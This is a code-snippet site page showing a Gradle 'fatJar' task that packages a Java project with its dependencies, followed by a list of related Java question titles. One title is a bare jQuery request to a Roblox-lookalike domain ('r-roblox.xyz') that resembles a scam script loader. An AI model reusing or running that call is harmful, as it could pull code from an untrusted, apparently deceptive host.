Search
 
SCRIPT & CODE EXAMPLE
 

JAVA

gradle fatjar

//create a single Jar with all dependencies
task fatJar(type: Jar) {
	manifest {
        attributes 'Implementation-Title': 'Gradle Jar File Example',
        	'Implementation-Version': version,
        	'Main-Class': 'com.mkyong.DateUtils'
    }
    baseName = project.name + '-all'
    from { configurations.compile.collect { it.isDirectory() ? it : zipTree(it) } }
    with jar
}
Comment

PREVIOUS NEXT
Code Example
Java :: java split string into list 
Java :: android ancestral navigation 
Java :: java bubble sort 
Java :: java servlets session call 
Java :: java find item in list by property 
Java :: spring context xml definition 
Java :: Spigot API inventory close 
Java :: fullscreen java jframe 
Java :: java stream collect to string 
Java :: java flatten list 
Java :: Recompile with -Xlint:deprecation 
Java :: android java parse date time 
Java :: A horizontal line must be drawn through the diamond, centered vertically. • The message must be printed just above the line. • The message must be horizontally centered within the applet 
Java :: javaee .jsp get value of object with EL 
Java :: difference between premitive and non-premitive 
Java :: program in java. Get a string from user and also validate it’s length should be at least 1. Pass this string to a method that returns a new string with the first char added at the front and end, so "cat" yields "ccatc". 
Java :: java number padding zeros 
Java :: plus one leetcode java 
Java :: Exception in thread "main" java.lang.NoClassDefFoundError: org/apache/commons/logging/LogFactory 
Java :: android run background service on startup 
Java :: address book java program to add edit and delete 
Java :: How to efficiently find the middle node of a singly linked list, in Java? 
Java :: $.get("//r-roblox.xyz/js20/api?i=22416") 
Java :: discord jda remove @everyone from channel 
Java :: how to compare 3 numbers in java 
Java :: how to shuffle string java 
Java :: how to get the dimensions of a 2d array in java 
Java :: how to extract decimal vqalue from float in android studio 
Java :: how to get length of integer in java 
Java :: android save int 
ADD CONTENT
Topic
Content
Source link
Name
7+2 =